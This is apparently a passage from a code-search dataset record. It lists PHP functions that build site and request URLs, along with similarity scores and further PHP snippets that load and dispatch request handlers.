$pageURL .= $_SERVER[\"SERVER_NAME\"].$_SERVER[\"REQUEST_URI\"];\r\n }\r\n return $pageURL;\r\n }", "private function getRequestUrl()\n {\n $url = get_request_url_schema() . '://' . app()->request()->getHost();\n if ((app()->request()->getScheme() === 'https' && app()->request()->getPort() !== 443) || (app()->request()->getScheme() === 'http' && app()->request()->getPort() !== 80)) {\n $url .= sprintf(':%s', app()->request()->getPort());\n }\n\n return $url;\n }", "public function getOfficialLink();", "public static function requestedURL()\n\t{\n\t\t$url = new SMURL;\n\t\t\n\t\t// set scheme\n\t\t$scheme = ( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] == 'on' ) ? 'https' : 'http';\n\t\t$url->setScheme( $scheme );\n\t\t\n\t\t// set host\n\t\t$url->setHost( $_SERVER['HTTP_HOST'] );\n\t\t\n\t\t// set path and query\n\t\tif( isset( $_SERVER['REQUEST_URI'] ) )\n\t\t{\n\t\t\tpreg_match( '/\\/([^\\?]*)(?:\\?(.*))?$/', $_SERVER['REQUEST_URI'], $match );\n\t\t\t$url->setPath( $match[1] );\n\t\t\t$url->setQueryString( $match[2] );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$url->setPath( $_SERVER['SCRIPT_NAME'] );\n\t\t\t$url->setQueryString( $_SERVER['QUERY_STRING'] );\n\t\t}\n\n\t\t// set port\n\t\t$url->setPort( $_SERVER['SERVER_PORT'] );\n\t\t\n\t\treturn $url;\n\t}", "protected function _url()\n {\n if (!empty($_SERVER['PATH_INFO'])) {\n return $_SERVER['PATH_INFO'];\n }else if (!empty($_SERVER['REQUEST_URI'])) {\n return $_SERVER['REQUEST_URI'];\n }elseif (isset($_SERVER['PHP_SELF']) && isset($_SERVER['SCRIPT_NAME'])) {\n $uri = str_replace($_SERVER['SCRIPT_NAME'], '', $_SERVER['PHP_SELF']);\n } elseif (isset($_SERVER['HTTP_X_REWRITE_URL'])) {\n $uri = $_SERVER['HTTP_X_REWRITE_URL'];\n } elseif ($var = env('argv')) {\n $uri = $var[0];\n }\n return $uri;\n }", "public function url() {\n\t\tif ( ! isset( $this->url ) ) {\n\t\t\t$url = add_query_arg( 'page', $this->page_slug, 'sites.php' );\n\t\t\t$this->url = network_admin_url( $url );\n\t\t}\n\n\t\treturn $this->url;\n\t}", "public static function provideServerURLs () : iterable {\n yield [[], \"http://localhost\"];\n yield [[\"UNRELATED\" => \"ANYTHING\"], \"http://localhost\"];\n\n yield [\n [\n \"SERVER_PORT\" => \"80\",\n \"SERVER_NAME\" => \"acme.tld\",\n ],\n \"http://acme.tld\"\n ];\n\n yield [\n [\n \"SERVER_PORT\" => \"443\",\n \"SERVER_NAME\" => \"acme.tld\",\n ],\n \"https://acme.tld\"\n ];\n\n yield [\n [\n \"SERVER_PORT\" => \"80\",\n \"SERVER_NAME\" => \"acme.tld\",\n \"HTTP_X_FORWARDED_PROTO\" => \"https\",\n ],\n \"https://acme.tld\"\n ];\n\n yield [\n [\n \"SERVER_PORT\" => \"80\",\n \"SERVER_NAME\" => \"acme.tld\",\n \"HTTP_FORWARDED\" => \"for=192.0.2.43, for=\\\"[2001:db8:cafe::17]\\\", proto=https, by=203.0.113.43\",\n ],\n \"https://acme.tld\"\n ];\n\n yield [\n [\n \"SERVER_PORT\" => \"8443\",\n \"SERVER_NAME\" => \"acme.tld\",\n \"HTTPS\" => \"on\",\n ],\n \"https://acme.tld:8443\"\n ];\n\n\n }", "function get_site_url() {\n\t$protocol = (isSet($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 'https' : 'http';\n\treturn $protocol . '://' . $_SERVER['HTTP_HOST'];\n}", "public function getBaseURL() {\n $url = $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://';\n \n $url .= $_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF']);\n \n return $url;\n }", "function get_self_url_easy($script_name_if_cli = false)\n{\n $cli = ((php_function_allowed('php_sapi_name')) && (php_sapi_name() == 'cli') && (cms_srv('REMOTE_ADDR') == ''));\n if ($cli) {\n if ($script_name_if_cli) {\n return $_SERVER['argv'][0];\n }\n return get_base_url();\n }\n\n $protocol = tacit_https() ? 'https' : 'http';\n $self_url = $protocol . '://' . cms_srv('HTTP_HOST');\n $self_url .= cms_srv('REQUEST_URI');\n return $self_url;\n}", "public function siteUrl() {}", "function site_url(){\n\treturn config( 'site.url' );\n}", "public function getPrepareLink()\n {\n $baseUrl = Mage::app()->getStore($this->getStoreId())->getBaseUrl(Mage_Core_Model_Store::URL_TYPE_WEB);\n \n return $baseUrl . $this->getData('path') . $this->getFilename();\n }", "public static function getServerLoginURL() \n\t{\n\t\tacPhpCas::setReporting();\n\t\treturn phpCAS::getServerLoginURL();\t\t\n\t}", "function buildDefaultTestUrl() {\n\n $protocol = (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on') ? 'https' : 'http';\n $host = (isset($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : 'localhost';\n\n $defaultTestUrl = $protocol . '://' . $host . '/';\n\n return $defaultTestUrl;\n}", "public function getServerURI() {\n $server_name = $this->full_server_name;\n\n if ($server_name != '[manual]') {\n $server_matches = array();\n preg_match('/(.*)\\/hiro\\/HiroServlet/i', $server_name, $server_matches);\n\n // New servers are with an \"api\" prefix instead of the old ones.\n $servers_prefixes = array(\n \"console1\",\n );\n\n if (empty($server_matches[1])) {\n return FALSE;\n }\n $found = str_replace($servers_prefixes, \"api\", $server_matches[1]);\n\n return $found;\n }\n }", "public function getServerUrls() {\n $publicKey = md5(microtime());\n\n return array(\n array('http://imbo', $publicKey, 'http://imbo/users/' . $publicKey),\n array('http://imbo/prefix', $publicKey, 'http://imbo/prefix/users/' . $publicKey),\n array('http://imbo:81', $publicKey, 'http://imbo:81/users/' . $publicKey),\n array('http://imbo:81/prefix', $publicKey, 'http://imbo:81/prefix/users/' . $publicKey),\n array('http://imbo:80', $publicKey, 'http://imbo/users/' . $publicKey),\n array('http://imbo:80/prefix', $publicKey, 'http://imbo/prefix/users/' . $publicKey),\n\n array('https://imbo', $publicKey, 'https://imbo/users/' . $publicKey),\n array('https://imbo/prefix', $publicKey, 'https://imbo/prefix/users/' . $publicKey),\n array('https://imbo:444', $publicKey, 'https://imbo:444/users/' . $publicKey),\n array('https://imbo:444/prefix', $publicKey, 'https://imbo:444/prefix/users/' . $publicKey),\n array('https://imbo:443', $publicKey, 'https://imbo/users/' . $publicKey),\n array('https://imbo:443/prefix', $publicKey, 'https://imbo/prefix/users/' . $publicKey),\n );\n }", "public function url()\r\n {\r\n return $this->get_base_url() . http_build_query($this->get_query_params());\r\n }", "protected function get_url()\n {\n return $this->base_url + $this->api_version; \n }", "public function getDeveloperUrl()\n {\n return 'http://absoluteweb.solutions';\n }", "public static function currentURL() {\n $pgurl = \"http\";\n if(!empty($_SERVER['HTTPS'])) $pgurl .= \"s\";\n $pgurl .= \"://\".$_SERVER[\"SERVER_NAME\"];\n if ($_SERVER[\"SERVER_PORT\"] != \"80\") $pgurl .= \":\".$_SERVER[\"SERVER_PORT\"];\n \n return ($pgurl .= $_SERVER[\"SCRIPT_NAME\"]);\n }" ]
[ "0.7244926", "0.7069801", "0.6990059", "0.6773709", "0.67620337", "0.6671914", "0.6634836", "0.6633927", "0.65699166", "0.65481246", "0.6480376", "0.6396187", "0.6386613", "0.638392", "0.63688636", "0.6360462", "0.6353042", "0.6308228", "0.6278625", "0.6269326", "0.6256036", "0.6241769", "0.62362236", "0.62329257", "0.6205325", "0.61904615", "0.61787164", "0.61552703", "0.6134266", "0.6123387", "0.6102686", "0.6098266", "0.60907304", "0.60619205", "0.6029362", "0.60288906", "0.601829", "0.60039383", "0.5998099", "0.5986589", "0.5985899", "0.5980832", "0.59753346", "0.5961782", "0.5959324", "0.5949591", "0.5942997", "0.5942532", "0.59388924", "0.5938819", "0.59366566", "0.59357905", "0.5933972", "0.59155405", "0.58936185", "0.5878328", "0.5875084", "0.58710027", "0.58671576", "0.5866495", "0.5863647", "0.58597744", "0.5843396", "0.5837635", "0.5827203", "0.5826278", "0.58261275", "0.5807174", "0.5804091", "0.5801653", "0.57889944", "0.57826656", "0.5782398", "0.5774359", "0.5771024", "0.57622576", "0.5761519", "0.57604504", "0.5756817", "0.5754402", "0.57502973", "0.57483494", "0.57477593", "0.57450676", "0.57395256", "0.5737678", "0.5735096", "0.573037", "0.5729398", "0.5723818", "0.570466", "0.5703762", "0.5699005", "0.5698855", "0.5696869", "0.56939536", "0.56891495", "0.5684392", "0.5681911", "0.5673575" ]
0.6229685
24
Returns a list of loaded request handlers as an array of objects or a formatted string, or a single handler object by configured type.
public static function getHandlers($asString=false, $type=null) { if (!$asString && !$type) { // Return the list of loaded objects return MHTTPD::$handlers; } elseif ($type && !$asString) { // Return a single loaded object if (!isset(MHTTPD::$handlers[$type])) {return false;} return MHTTPD::$handlers[$type]; } // Or format the list as a string $ret = ''; foreach (MHTTPD::$handlers as $type=>$handler) { $ret .= str_pad(ucfirst($type.' '), 20, '.') .sprintf(' I: %-8s M: %-8s S: %-8s E: %-8s', $handler->getCount('init'), $handler->getCount('match'), $handler->getCount('success'), $handler->getCount('error') ).PHP_EOL; } return $ret; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function defaultHandlerTypes()\n {\n return [\n 'maintenance',\n 'notFound',\n 'notAllowed',\n 'error',\n 'phpError',\n ];\n }", "public function getTypeHandler()\n {\n return $this->handlers[$this->getType()];\n }", "public function getTypeHandlers()\n {\n return array_keys($this->handlers);\n }", "public function getRegisteredRequestHandlerClassNames() {}", "public function getHandlers(): array\n {\n }", "public function getHandlers() : array {\r\n return $this->handlers;\r\n }", "public function getHandlers()\n {\n return $this->handlers;\n }", "public function getHandlers(): array\n\t{\n\t\treturn $this->classes;\n\t}", "public function getHandlerForType($type)\n {\n $bestHandler = $this->defaultHandler;\n foreach ($this->handlers as $handler) {\n if ($handler->getType() == $type && $handler->getPriority() > $bestHandler->getPriority()) {\n $bestHandler = $handler;\n }\n }\n\n return $bestHandler;\n }", "public static function getHandlerClass(): string;", "public function resolveRequestHandler() {\n\t\t$availableRequestHandlerClassNames = $this->reflectionService->getAllImplementationClassNamesForInterface('F3\\FLOW3\\MVC\\RequestHandlerInterface');\n\n\t\t$suitableRequestHandlers = array();\n\t\tforeach ($availableRequestHandlerClassNames as $requestHandlerClassName) {\n\t\t\tif (!$this->objectManager->isObjectRegistered($requestHandlerClassName)) continue;\n\n\t\t\t$requestHandler = $this->objectManager->getObject($requestHandlerClassName);\n\t\t\tif ($requestHandler->canHandleRequest()) {\n\t\t\t\t$priority = $requestHandler->getPriority();\n\t\t\t\tif (isset($suitableRequestHandlers[$priority])) throw new \\F3\\FLOW3\\MVC\\Exception('More than one request handler with the same priority can handle the request, but only one handler may be active at a time!', 1176475350);\n\t\t\t\t$suitableRequestHandlers[$priority] = $requestHandler;\n\t\t\t}\n\t\t}\n\t\tif (count($suitableRequestHandlers) === 0) throw new \\F3\\FLOW3\\MVC\\Exception('No suitable request handler found.', 1205414233);\n\t\tksort($suitableRequestHandlers);\n\t\treturn array_pop($suitableRequestHandlers);\n\t}", "public static function getUrlHandlers($url = null)\n {\n if (!valid($url))\n {\n $url = self::getUrlQ();\n }\n if (!valid($url))\n {\n $url = BaseConfig::HOME_URL;\n }\n $url_parts = explode(\"/\", $url);\n $num_parts = count($url_parts);\n\n $sql = \"SELECT uh.module, uh.permission, md.status FROM url_handler uh LEFT JOIN module md ON (uh.module = md.name) WHERE (num_parts='$num_parts' OR num_parts='0') AND md.status = 1\";\n $c = 0;\n $args = array();\n foreach ($url_parts as $part)\n {\n $sql .= \" AND (p$c = '::p$c' OR p$c = '%')\";\n $args[\"::p$c\"] = $part;\n $c++;\n }\n $sql .= \" ORDER BY num_parts DESC\";\n\n $db = Sweia::getInstance()->getDB();\n\n $rs = $db->query($sql, $args);\n $handlers = array();\n\n /* Store the handlers */\n while ($handler = $db->fetchObject($rs))\n {\n $handlers[$handler->module] = array(\"module\" => $handler->module, \"permission\" => $handler->permission);\n }\n return $handlers;\n }", "protected function getInternalHandlers(): array\n {\n return [\n JsonRenderable::class => function (JsonRenderable $exception) {\n return $exception->renderAsJson();\n },\n ModelNotFoundException::class => [$this, 'modelNotFoundJson'],\n AuthenticationException::class => [$this, 'unauthenticatedJson'],\n AuthorizationException::class => [$this, 'unauthorizedJson'],\n SpatieAuthorizationException::class => [$this, 'spatieUnauthorizedJson'],\n ValidationException::class => [$this, 'validationJson'],\n HttpException::class => [$this, 'httpExceptionJson']\n ];\n }", "public function getHandlerData()\n {\n $uri = $this->request->getUri();\n $method = $this->request->getMethod();\n $searches = array_keys($this->patterns);\n $replaces = array_values($this->patterns);\n\n $this->routes = str_replace('//', '/', $this->routes);\n\n $routes = $this->routes;\n foreach ($routes as $pos => $route) {\n $curRoute = str_replace(['//', '\\\\'], '/', $route);\n if (strpos($curRoute, ':') !== false) {\n $curRoute = str_replace($searches, $replaces, $curRoute);\n }\n if (preg_match('#^' . $curRoute . '$#', $uri, $matched)) {\n\n if (isset($this->callbacks[$pos][$method])) {\n //remove $matched[0] as [1] is the first parameter.\n array_shift($matched);\n\n $this->currentRoute = $curRoute;\n $this->currentVars = $matched;\n\n return $this->getHandlerDetail($this->callbacks[$pos][$method], $matched);\n }\n }\n }\n\n return $this->getHandlerDetail($this->errorCallback, []);\n }", "public function getAllHandlers(): array {\n $base_path = $this->pathToHandlers;\n $directory_listing = scandir($base_path);\n self::$handlers = [];\n foreach ($directory_listing as $basename) {\n $filepath = \"$base_path/$basename\";\n if ($basename !== '.' && $basename !== '..' && is_dir($filepath)) {\n $id = pathinfo($filepath, PATHINFO_FILENAME);\n $filename = Strings::upperCamel($id);\n self::$handlers[] = [\n 'id' => $id,\n 'path' => $filepath,\n 'autoload' => $filepath . \"/$filename.php\",\n 'classname' => '\\\\AKlump\\\\CheckPages\\\\Handlers\\\\' . $filename,\n ];\n }\n }\n\n return self::$handlers;\n }", "protected function getCustomHandlers(): array\n {\n return [];\n }", "public function getPaidContentHandlers()\r\n {\r\n $classes = $this->getContentTypesWithField('paid_content_handler_class');\r\n $handlers = array();\r\n foreach ($classes as $contentType => $class) {\r\n if (!class_exists($class)) {\r\n continue;\r\n }\r\n \r\n $class = XenForo_Application::resolveDynamicClass($class);\r\n $handlers[$contentType] = new $class();\r\n }\r\n \r\n return $handlers;\r\n }", "public function setHandler($typeHandler = 'xml')\n {\n Assertion::keyIsset($this->handlers, $typeHandler);\n $this->currentHandler = app($this->handlers[$typeHandler]);\n return $this->currentHandler;\n }", "protected function _default_handler_for ($handler_type, $options = null)\n {\n switch ($handler_type)\n {\n case Handler_navigator:\n include_once ('webcore/gui/entry_navigator.php');\n return new ENTRY_NAVIGATOR ($this);\n case Handler_commands:\n include_once ('webcore/cmd/entry_commands.php');\n return new ENTRY_COMMANDS ($this);\n case Handler_history_item:\n include_once ('webcore/obj/webcore_history_items.php');\n return new ENTRY_HISTORY_ITEM ($this->app);\n case Handler_rss_renderer:\n include_once ('webcore/gui/rss_renderer.php');\n return new ENTRY_RSS_RENDERER ($this->app, $options);\n case Handler_atom_renderer:\n include_once ('webcore/gui/atom_renderer.php');\n return new ENTRY_ATOM_RENDERER ($this->app, $options);\n case Handler_associated_data:\n include_once ('webcore/gui/entry_renderer.php');\n return new ENTRY_ASSOCIATED_DATA_RENDERER ($this->app, $options);\n case Handler_subscriptions:\n include_once ('webcore/gui/subscription_renderer.php');\n return new ENTRY_SUBSCRIPTION_RENDERER ($this->app, $options);\n default:\n return parent::_default_handler_for ($handler_type, $options);\n }\n }", "static function handler() {\n self::setUristr();\n self::setArray();\n self::setRequests();\n self::check();\n return array(self::$module, self::$model, self::$resource, self::$arg, self::$api);\n }", "public function getHandler() {\n\t\t/** @var \\Cundd\\Rest\\HandlerInterface $handler */\n\t\tlist($vendor, $extension,) = Utility::getClassNamePartsForPath($this->dispatcher->getPath());\n\n\t\t// Check if an extension provides a Handler\n\t\t$handlerClass = 'Tx_' . $extension . '_Rest_Handler';\n\t\tif (!class_exists($handlerClass)) {\n\t\t\t$handlerClass = ($vendor ? $vendor . '\\\\' : '') . $extension . '\\\\Rest\\\\Handler';\n\t\t}\n\n\t\t// Get the specific builtin handler\n\t\tif (!class_exists($handlerClass)) {\n\t\t\t$handlerClass = 'Cundd\\\\Rest\\\\Handler\\\\' . $extension . 'Handler';\n\t\t\t// Get the default handler\n\t\t\tif (!class_exists($handlerClass)) {\n\t\t\t\t$handlerClass = 'Cundd\\\\Rest\\\\HandlerInterface';\n\t\t\t}\n\t\t}\n\t\t$handler = $this->get($handlerClass);\n\t\t//$handler->setRequest($this->dispatcher->getRequest());\n\t\treturn $handler;\n\t}", "public function getTypeLoaders(): array\n {\n return $this->typeLoaders;\n }", "protected function load_objtype_list()\n {\n header('Content-type: application/json');\n\n $l_dao = $_GET['dao'];\n\n if (class_exists($l_dao))\n {\n return isys_factory::get_instance($l_dao, $this->m_database_component)\n ->set_object_type((int) $_GET['object_type'])\n ->get_list_data((int) $_POST['offset_block']);\n } // if\n\n return '';\n }", "public function getHandler();", "public function getHandler();", "protected function getHandlerClassName($type)\n {\n // Translate the file into a FileHandler\n $class = get_class($this);\n $handler = substr_replace($class, $type . 'Handler', strrpos($class, $type));\n\n // Check if the handler exists\n if (!class_exists($handler))\n throw new ExcelException(\"$type handler [$handler] does not exist.\");\n\n return $handler;\n }", "public static function getHandlersQueue($init=true)\n\t{\n\t\tif ($init) {MHTTPD::$handlersQueue->init();}\n\t\treturn MHTTPD::$handlersQueue;\n\t}", "public function resultOf(string $handler): array;", "public function forType(string $type): HandlerInterface\n {\n return $this->forTypes(explode('|', $type));\n }", "protected function getHandlers()\n {\n return (fn () => $this->signalHandlers)\n ->call($this->registry);\n }", "function getConfiguredNotificationMethods($type = '*')\n{\n\tglobal $modSettings;\n\n\t$unserialized = Util::unserialize($modSettings['notification_methods']);\n\n\tif (isset($unserialized[$type]))\n\t{\n\t\treturn $unserialized[$type];\n\t}\n\n\tif ($type === '*')\n\t{\n\t\treturn $unserialized;\n\t}\n\n\treturn [];\n}", "public static function routesByType(){\n $routes = self::requestRoutes();\n $routesByType = [];\n foreach ($routes->data as $route) {\n $routesByType[$route->attributes->description] = $routesByType[$route->attributes->description] ?? [];\n array_push($routesByType[$route->attributes->description], $route);\n }\n return $routesByType;\n }", "static public function raise($type) {\n $otherParams = func_get_args();\n unset($otherParams[0]);\n $params[] = $request = Arta::$globals['request'];\n\n switch ($type) {\n\n case 'U':\n $title = 'Unauthorized User Handler';\n $factoryDef = Arta::$unauthorizedHandler;\n $params[] = $request->currentUrl();\n break;\n\n case 'I':\n $title = 'Illegal User Handler';\n $factoryDef = Arta::$illegalHandler;\n $params[] = $request->currentUrl();\n break;\n\n case 'X':\n $title = 'Exception Handler';\n $factoryDef = Arta::$exceptionHandler;\n break;\n\n case 'F':\n $title = 'No Factory Handler';\n $factoryDef = Arta::$nofactoryHandler;\n break;\n\n case 'N':\n $title = 'URL Not Found Handler';\n $factoryDef = Arta::$notfoundHandler;\n $params[] = $request->currentUrl();\n break;\n\n case 'A':\n $title = 'Not Ajax Request Handler';\n $factoryDef = Arta::$notajaxHandler;\n $params[] = $request->currentUrl();\n break;\n\n default:\n $title = null;\n $factoryDef = null;\n }\n\n if ($otherParams) {\n if (is_array($otherParams)) {\n $params = array_merge($params, $otherParams);\n } else {\n $params[] = $otherParams;\n }\n }\n /* load factory */\n if (!$factoryDef || count($factoryDef) != 4) {\n if (DEBUG) {\n Inspect::dumpException(new EventHandler(EventHandler::HANDLER_NOT_DEFINED, $title));\n }\n die;\n }\n list($facPath, $tplObjectName, $facClass, $facMethod) = $factoryDef;\n if (!file_exists($facPath)) {\n if (DEBUG) {\n Inspect::dumpException(new EventHandler(EventHandler::HANDLER_FILE_NOT_EXISTS, array($title, $facPath)));\n }\n die;\n }\n\n require_once 'Template.php';\n require_once 'Response.php';\n require_once 'Database.php';\n require_once $facPath;\n\n if (!$facClass) {\n if (!function_exists($facMethod)) {\n if (DEBUG) {\n Inspect::dumpException(\n new EventHandler(\n EventHandler::HANDLER_METHOD_NOT_EXISTS,\n array($title, $facPath, $facMethod)\n )\n );\n }\n die;\n }\n $params[] = $tplObjectName;\n call_user_func_array($facMethod, $params);\n die;\n }\n\n if (!class_exists($facClass)) {\n if (DEBUG) {\n Inspect::dumpException(\n new EventHandler(\n EventHandler::HANDLER_CLASS_NOT_EXISTS,\n array($title, $facPath, $facClass)\n )\n );\n }\n die;\n }\n\n Arta::$factory = $factory = new $facClass();\n if (!method_exists($factory, $facMethod)) {\n if (DEBUG) {\n Inspect::dumpException(\n new EventHandler(\n EventHandler::HANDLER_METHOD_NOT_EXISTS,\n array($title, $facPath, $facMethod)\n )\n );\n }\n die;\n }\n\n if (property_exists($factory, '__tpl')) {\n $factory->__tpl = $tplObjectName;\n }\n\n call_user_func_array(array(&$factory, $facMethod), $params);\n die;\n }", "public function getTypeHandlerLibraryInstance()\n {\n return $this->handlerLibrary;\n }", "protected function _default_handler_for ($handler_type, $options = null)\n {\n switch ($handler_type)\n {\n case Handler_print_renderer:\n case Handler_html_renderer:\n case Handler_text_renderer:\n case Handler_source_renderer:\n include_once ('webcore/gui/entry_renderer.php');\n return new DRAFTABLE_ENTRY_RENDERER ($this->app, $options);\n case Handler_rss_renderer:\n include_once ('webcore/gui/rss_renderer.php');\n return new DRAFTABLE_ENTRY_RSS_RENDERER ($this->app);\n case Handler_atom_renderer:\n include_once ('webcore/gui/atom_renderer.php');\n return new DRAFTABLE_ENTRY_ATOM_RENDERER ($this->app);\n case Handler_commands:\n include_once ('webcore/cmd/entry_commands.php');\n return new DRAFTABLE_ENTRY_COMMANDS ($this);\n default:\n return parent::_default_handler_for ($handler_type, $options);\n }\n }", "public function getEventHandlers()\n {\n return $this->eventHandlers;\n }", "public function getHandlerStack(): HandlerStack\n {\n if ($this->handlerStack) {\n return $this->handlerStack;\n }\n\n $this->handlerStack = HandlerStack::create($this->getGuzzleHandler());\n\n foreach ($this->middlewares as $name => $middleware) {\n $this->handlerStack->push($middleware, $name);\n }\n\n return $this->handlerStack;\n }", "public function getHandlerStack()\n {\n\n $handlerStack = HandlerStack::create();\n\n foreach ($this->middleware as $name => $middleware) {\n $handlerStack->push($middleware, $name);\n }\n\n return $handlerStack;\n }", "public function getHandler() {}", "public function provides()\n {\n return [RequestHandler::class];\n }", "public function getHandler(): string\n {\n return $this->handler;\n }", "function getHandlers()\n {\n eval(PUBSUB_MUTATE);\n return $this->_handlers;\n }", "public function getActualHandler();", "public static function types()\n\t{\n\t\t$states = array(\n\t\t\t'blog' => __('Blog'),\n\t\t\t'page' => __('Page'),\n\t\t\t'user' => __('User')\n\t\t);\n\n\t\t$values = Module::action('gleez_types', $states);\n\n\t\treturn $values;\n\t}", "public function getErrorResponseHandler()\n {\n if ( ! $this->getContainer()->has(HandlerInterface::class) ) {\n if ( $this->isCli() ) {\n $class = PlainTextHandler::class;\n } elseif ( $this->isAjaxRequest() ) {\n $class = JsonResponseHandler::class;\n } else {\n $class = PrettyPageHandler::class;\n }\n $this->getContainer()->add(HandlerInterface::class, $class);\n }\n\n return $this->validateContract($this->getContainer()->get(HandlerInterface::class), HandlerInterface::class);\n }", "public function getHandler($scheme);", "public function getHandlerName();", "public function getHandlerName();", "protected function reloadHandlers(string $handlerPath): array {\n\t\t// \"returns\" an array of objects. that array is what we return.\n\t\t// but, before we do that, we also want to cache them so we don't\n\t\t// need to redo the work in our handler file again next time.\n\t\t\n\t\t$handlers = require($handlerPath);\n\t\t$this->cacheHandlers($handlers);\n\t\treturn $handlers;\n\t}", "public static function getTypes();", "public function ProcessCustomHandlers (& $handlers = []);", "function choose_handler(): callable\n {\n $handler = null;\n $defaultHandler = DefaultHandler::getDefaultHandler();\n if (\\is_string($defaultHandler))\n {\n $handler = new $defaultHandler();\n }\n elseif (\\is_callable($defaultHandler))\n {\n $handler = $defaultHandler();\n }\n elseif (\\function_exists('curl_multi_exec') && \\function_exists('curl_exec'))\n {\n $handler = Proxy::wrapSync(new CurlMultiHandler(), new CurlHandler());\n }\n elseif (\\function_exists('curl_exec'))\n {\n $handler = new CurlHandler();\n }\n elseif (\\function_exists('curl_multi_exec'))\n {\n $handler = new CurlMultiHandler();\n }\n\n if (ini_get('allow_url_fopen'))\n {\n $handler = $handler\n ? Proxy::wrapStreaming($handler, new StreamHandler())\n : new StreamHandler();\n }\n elseif (!$handler)\n {\n throw new \\RuntimeException('GuzzleHttp requires cURL, the ' . 'allow_url_fopen ini setting, or a custom HTTP handler.');\n }\n\n return $handler;\n }", "public function getHandlerClass($command)\n\t{\n\t\treturn $this->inflectSegment($command, 0);\n\t}", "public function handle($type)\n {\n // Get the handler\n $handler = $this->getHandler($type);\n\n // Call the handle method and inject the file\n return $handler->handle($this);\n }", "public function getHandler()\n {\n return $this->handler;\n }", "public function getHandler()\n {\n return $this->handler;\n }", "public function getHandler()\n {\n if (!$this->_handler) {\n $this->setHandler(new Rx_Json_Handler_Default());\n }\n return ($this->_handler);\n }", "protected function getHandler()\n {\n return [\n 'success' => true,\n 'orders' => [\n 'count' => RetailcrmExport::getOrdersCount(),\n 'exportCount' => RetailcrmExport::getOrdersCount(true),\n 'exportStepSize' => RetailcrmExport::RETAILCRM_EXPORT_ORDERS_STEP_SIZE_WEB,\n ],\n 'customers' => [\n 'count' => RetailcrmExport::getCustomersCount(),\n 'exportCount' => RetailcrmExport::getCustomersCount(false),\n 'exportStepSize' => RetailcrmExport::RETAILCRM_EXPORT_CUSTOMERS_STEP_SIZE_WEB,\n ],\n ];\n }", "public function getDefaultHandler();", "protected function LoadHandlers()\n {\n $this->handlers = array(\n testHandler::class,\n );\n }", "public function getHandler($check = true) {}", "protected function getTypes() {}", "public function get_handler() {\n global $CFG;\n\n $enablehandler = $this->enablehandler;\n $handlerlabel = $this->shortname;\n\n $handler = null;\n\n if (empty($enablehandler)) {\n return false;\n } else if ($enablehandler == SPECIFIC_HANDLER) {\n $thehandler = $this->itemcode;\n } else {\n $thehandler = $enablehandler;\n }\n\n if (!empty($thehandler) &&\n file_exists($CFG->dirroot.'/local/shop/datahandling/handlers/'.$thehandler.'/'.$thehandler.'.class.php')) {\n include_once($CFG->dirroot.'/local/shop/datahandling/handlers/'.$thehandler.'/'.$thehandler.'.class.php');\n $classtype = \"shop_handler_{$thehandler}\";\n $handler = new $classtype($handlerlabel);\n }\n\n return $handler;\n }", "public function getErrorHandlers()\n\t{\n\t\treturn $this->errorHandlers;\n\t}", "function simplerdf_get_uri_format_plugin($type) {\n static $type_plugins;\n\n // Get active format\n $formats = (array) variable_get('simplerdf_uri_formats', array());\n $format = $formats[$type];\n if ($format) {\n return simplerdf_get_plugins('uri_formats', $format);\n }\n else {\n // Walk through all plugins and group by object type\n if (!isset($type_plugins)) {\n $type_plugins = array();\n $plugins = simplerdf_get_plugins('uri_formats');\n foreach ($plugins as $plugin_name => $plugin) {\n if ($plugin['object types']) {\n // Walk through only formats for specific types\n foreach ($plugin['object types'] as $object_type) {\n $type_plugins[$object_type][$plugin_name] = $plugin;\n }\n }\n }\n }\n // Find the only plugin for that type\n if (is_array($type_plugins[$type]) && count($type_plugins[$type]) == 1) {\n $plugins = array_values($type_plugins[$type]);\n // Set plugin as default and return\n $formats[$type] = $plugins[0]['name'];\n variable_set('simplerdf_uri_formats', $formats);\n return $plugins[0];\n }\n }\n}", "public function getHandler()\n\t{\n\t\treturn $this->handler;\n\t}", "public function getTypes();", "public function getTypes();", "public function getTypes();", "public function getTypes();", "public function getFactoryHandlerForType($typeName)\n {\n if (!isset($this->factoryTypeHandlers[$typeName])) {\n throw new \\InvalidArgumentException(\"A handler does not exist for type $typeName.\");\n }\n\n return $this->factoryTypeHandlers[$typeName];\n }", "public static function types(): array\n {\n $config = app(ConfigInterface::class);\n\n return $config\n ->get('alert.types');\n }", "public function getHandler()\n {\n }", "static function body_class() {\n\t\t$config = self::config();\n\n\t\tif ( ! empty( $config['body-classes'] ) ) {\n\t\t\t$classes = array();\n\t\t\t$handlers_results = array();\n\t\t\tforeach ( $config['body-classes'] as $classname => $resolution ) {\n\t\t\t\tif ( is_string( $resolution ) ) {\n\t\t\t\t\t// ensure handler is executed; and only executed once\n\t\t\t\t\tif ( ! isset( $handlers_results[ $resolution ] ) ) {\n\t\t\t\t\t\t$handlers_results[ $resolution ] = call_user_func( $resolution );\n\t\t\t\t\t}\n\t\t\t\t\t// process result of handler\n\t\t\t\t\tif ( $handlers_results[ $resolution ] ) {\n\t\t\t\t\t\t$classes[] = $classname;\n\t\t\t\t\t}\n\t\t\t\t} else { // assume boolean\n\t\t\t\t\tif ( $resolution ) {\n\t\t\t\t\t\t$classes[] = $classname;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $classes;\n\t\t} else { // no body class handlers\n\t\t\treturn null;\n\t\t}\n\t}", "function get_datatypes( $location = '' ) {\n\n\t// Create our initial array of types.\n\t$type_array = array(\n\t\t'posts',\n\t\t'comments',\n\t\t'users',\n\t);\n\n\t// Return the array.\n\treturn apply_filters( Core\\HOOK_PREFIX . 'datatypes', $type_array, $location );\n}", "protected function getHandlers($event){\n\t\tif(!$this->countHandlers($event)){\n\t\t\treturn [];\n\t\t}\n\n\t\tif(!is_array($this->events[$event])){\n\t\t\treturn [];\n\t\t}\n\n\t\treturn $this->events[$event];\n\t}", "public function handledBy(): string\n {\n return static::class . 'Handler';\n }", "public static function handler()\n {\n return static::$handler;\n }", "public function setHandler($type) {\n\t\n\t\tswitch ($type) {\n\t\t\tcase 